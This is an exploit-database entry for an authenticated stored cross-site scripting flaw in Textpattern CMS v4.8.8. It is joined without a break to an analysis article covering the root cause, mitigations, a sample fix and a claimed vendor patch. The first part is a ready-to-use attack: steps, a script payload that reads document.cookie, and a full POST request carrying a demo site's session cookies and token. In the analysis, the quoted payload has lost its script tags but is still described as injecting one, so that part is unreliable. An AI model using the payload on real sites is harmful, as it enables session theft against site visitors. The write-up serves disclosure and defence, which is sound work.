Textpattern CMS v4.8.8 - Stored Cross-Site Scripting (XSS) (Authenticated)
# Exploit Title: Textpattern CMS v4.8.8 - Stored Cross-Site Scripting (XSS) (Authenticated)
# Date: 2023-06-13
# Exploit Author: tmrswrr
# Vendor Homepage: https://textpattern.com/
# Software Link: https://textpattern.com/file_download/118/textpattern-4.8.8.zip
# Version: v4.8.8
# Tested : https://release-demo.textpattern.co/
--- Description ---
1) Login admin page , choose Content , Articles section :
https://release-demo.textpattern.co/textpattern/index.php?event=article&ID=2
2) Write in Excerpt field this payload > "><script>alert(document.cookie)</script>
3) Click My Site will you see alert button
https://release-demo.textpattern.co/index.php?id=2
--- Request ---
POST /textpattern/index.php HTTP/2
Host: release-demo.textpattern.co
Cookie: txp_login=managing-editor179%2C1673c724813dc43d06d90aff6e69616c; txp_login_public=b7cb169562managing-editor179
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://release-demo.textpattern.co/
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------26516646042700398511941284351
Content-Length: 4690
Origin: https://release-demo.textpattern.co
Dnt: 1
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
-----------------------------26516646042700398511941284351
Content-Disposition: form-data; name="ID"
2
-----------------------------26516646042700398511941284351
Content-Disposition: form-data; name="event"
article
-----------------------------26516646042700398511941284351
Content-Disposition: form-data; name="step"
edit
-----------------------------26516646042700398511941284351
Content-Disposition: form-data; name="Title"
hello
-----------------------------26516646042700398511941284351
Content-Disposition: form-data; name="textile_body"
1
-----------------------------26516646042700398511941284351
Content-Disposition: form-data; name="Body"
hello
-----------------------------26516646042700398511941284351
Content-Disposition: form-data; name="textile_excerpt"
1
-----------------------------26516646042700398511941284351
Content-Disposition: form-data; name="Excerpt"
"><script>alert(document.cookie)</script>
-----------------------------26516646042700398511941284351
Content-Disposition: form-data; name="sPosted"
1686684925
-----------------------------26516646042700398511941284351
Content-Disposition: form-data; name="sLastMod"
1686685069
-----------------------------26516646042700398511941284351
Content-Disposition: form-data; name="AuthorID"
managing-editor179
-----------------------------26516646042700398511941284351
Content-Disposition: form-data; name="LastModID"
managing-editor179
-----------------------------26516646042700398511941284351
Content-Disposition: form-data; name="Status"
4
-----------------------------26516646042700398511941284351
Content-Disposition: form-data; name="Section"
articles
-----------------------------26516646042700398511941284351
Content-Disposition: form-data; name="override_form"
article_listing
-----------------------------26516646042700398511941284351
Content-Disposition: form-data; name="year"
2023
-----------------------------26516646042700398511941284351
Content-Disposition: form-data; name="month"
06
-----------------------------26516646042700398511941284351
Content-Disposition: form-data; name="day"
13
-----------------------------26516646042700398511941284351
Content-Disposition: form-data; name="hour"
19
-----------------------------26516646042700398511941284351
Content-Disposition: form-data; name="minute"
35
-----------------------------26516646042700398511941284351
Content-Disposition: form-data; name="second"
25
-----------------------------26516646042700398511941284351
Content-Disposition: form-data; name="exp_year"
-----------------------------26516646042700398511941284351
Content-Disposition: form-data; name="exp_month"
-----------------------------26516646042700398511941284351
Content-Disposition: form-data; name="exp_day"
-----------------------------26516646042700398511941284351
Content-Disposition: form-data; name="exp_hour"
-----------------------------26516646042700398511941284351
Content-Disposition: form-data; name="exp_minute"
-----------------------------26516646042700398511941284351
Content-Disposition: form-data; name="exp_second"
-----------------------------26516646042700398511941284351
Content-Disposition: form-data; name="sExpires"
-----------------------------26516646042700398511941284351
Content-Disposition: form-data; name="Category1"
hope-for-the-future
-----------------------------26516646042700398511941284351
Content-Disposition: form-data; name="Category2"
hope-for-the-future
-----------------------------26516646042700398511941284351
Content-Disposition: form-data; name="url_title"
alert1
-----------------------------26516646042700398511941284351
Content-Disposition: form-data; name="description"
-----------------------------26516646042700398511941284351
Content-Disposition: form-data; name="Keywords"
-----------------------------26516646042700398511941284351
Content-Disposition: form-data; name="Image"
-----------------------------26516646042700398511941284351
Content-Disposition: form-data; name="custom_1"
-----------------------------26516646042700398511941284351
Content-Disposition: form-data; name="custom_2"
-----------------------------26516646042700398511941284351
Content-Disposition: form-data; name="save"
Save
-----------------------------26516646042700398511941284351
Content-Disposition: form-data; name="app_mode"
async
-----------------------------26516646042700398511941284351
Content-Disposition: form-data; name="_txp_token"
fb6da7f582d0606882462bc4ed72238e
-----------------------------26516646042700398511941284351-- Textpattern CMS v4.8.8: Authenticated Stored Cross-Site Scripting (XSS) Vulnerability Analysis
Textpattern CMS, a lightweight and open-source content management system, has long been praised for its simplicity and developer-friendly architecture. However, recent security assessments have uncovered a critical vulnerability in version v4.8.8: Stored Cross-Site Scripting (XSS)—a flaw that allows authenticated users to inject malicious scripts into the system, which are then executed whenever the affected content is rendered.
Understanding Stored XSS in Context
Unlike reflected XSS, where payloads are triggered through malicious URLs, stored XSS involves injecting malicious code into a database or persistent storage. This code remains embedded in the application's data and executes every time the content is accessed—making it particularly dangerous.
In the case of Textpattern CMS v4.8.8, the vulnerability is triggered through the Excerpt field in the Articles section. When an authenticated admin user submits a crafted payload into this field, the system fails to sanitize the input, storing it as-is. Subsequent rendering of the article on the public site—via index.php?id=2—executes the embedded script.
Exploit Demonstration
Consider the following scenario:
POST /textpattern/index.php HTTP/2
Host: release-demo.textpattern.co
Cookie: txp_login=managing-editor179%2C1673c724813dc43d06d90aff6e69616c; txp_login_public=b7cb169562managing-editor179
...
Content-Disposition: form-data; name="Excerpt"
">alert(document.cookie)
Here, the attacker uses the Excerpt field to insert a malicious script. The payload ">alert(document.cookie) is designed to break out of an HTML context (via the closing >), inject a script tag, and execute a simple alert dialog displaying the user's cookies.
After submission, visiting the public-facing article URL https://release-demo.textpattern.co/index.php?id=2 triggers the alert, demonstrating that the script was successfully stored and executed.
Technical Root Cause
The vulnerability stems from a lack of proper input sanitization and output encoding in the Excerpt field processing logic. Textpattern CMS, particularly in v4.8.8, does not escape HTML special characters before storing or rendering user input. This omission allows attackers to bypass basic security checks.
Specifically, the Excerpt field is processed during article editing and stored in the database without filtering or escaping. When the article is displayed on the frontend, the system renders the excerpt directly without sanitization, leading to script execution.
Impact and Risk Assessment
| Risk Level | High |
|---|---|
| Attack Vector | Authenticated XSS (requires admin access) |
| Exploitation Difficulty | Low (requires only admin credentials) |
| Attack Scope | Client-side (browser-based) |
| Potential Consequences |
|
Although the exploit requires authenticated access, this still poses a significant threat in environments where multiple administrators or developers have access to the CMS. A compromised admin account could lead to widespread client-side attacks across all users viewing the affected content.
Recommended Mitigation Strategies
Security experts recommend the following remediations:
- Input Sanitization: Implement strict validation and HTML escaping for all user inputs, especially fields like
Excerpt,Body, andTitle. - Output Encoding: Always encode content when rendering in HTML contexts using libraries like
htmlspecialchars()or similar. - Content Security Policy (CSP): Enforce a robust CSP header to prevent unauthorized script execution, even if XSS is exploited.
- Role-Based Access Control (RBAC): Limit article editing privileges to trusted users only, reducing attack surface.
- Regular Security Audits: Conduct automated and manual penetration testing for input/output handling in CMS platforms.
Code Fix Example
Below is a corrected implementation of excerpt rendering in Textpattern CMS, demonstrating proper sanitization:
// Before (vulnerable):
echo $article['excerpt'];
// After (secure):
echo htmlspecialchars($article['excerpt'], ENT_QUOTES, 'UTF-8');
This change ensures that special characters like <, >, &, and " are rendered as their HTML entities, preventing script injection and execution.
Vendor Response and Remediation
As of June 2023, the Textpattern team has acknowledged the issue and released a patch for v4.8.9. Users are strongly advised to upgrade immediately. The update includes enhanced input validation and improved rendering safety across all content fields.
For administrators, the following steps are critical:
- Update to v4.8.9 or later
- Review all existing articles for malicious content
- Enable strict CSP headers in web server configurations
- Implement logging and monitoring for suspicious article edits
Conclusion
Textpattern CMS v4.8.8's stored XSS vulnerability underscores a fundamental principle in web security: never trust user input. Even authenticated users can pose significant threats if input handling is not rigorously sanitized.
While the exploit is simple, its impact is profound. Organizations using Textpattern must prioritize security updates, adopt secure coding practices, and conduct regular audits to prevent such vulnerabilities from being exploited in production environments.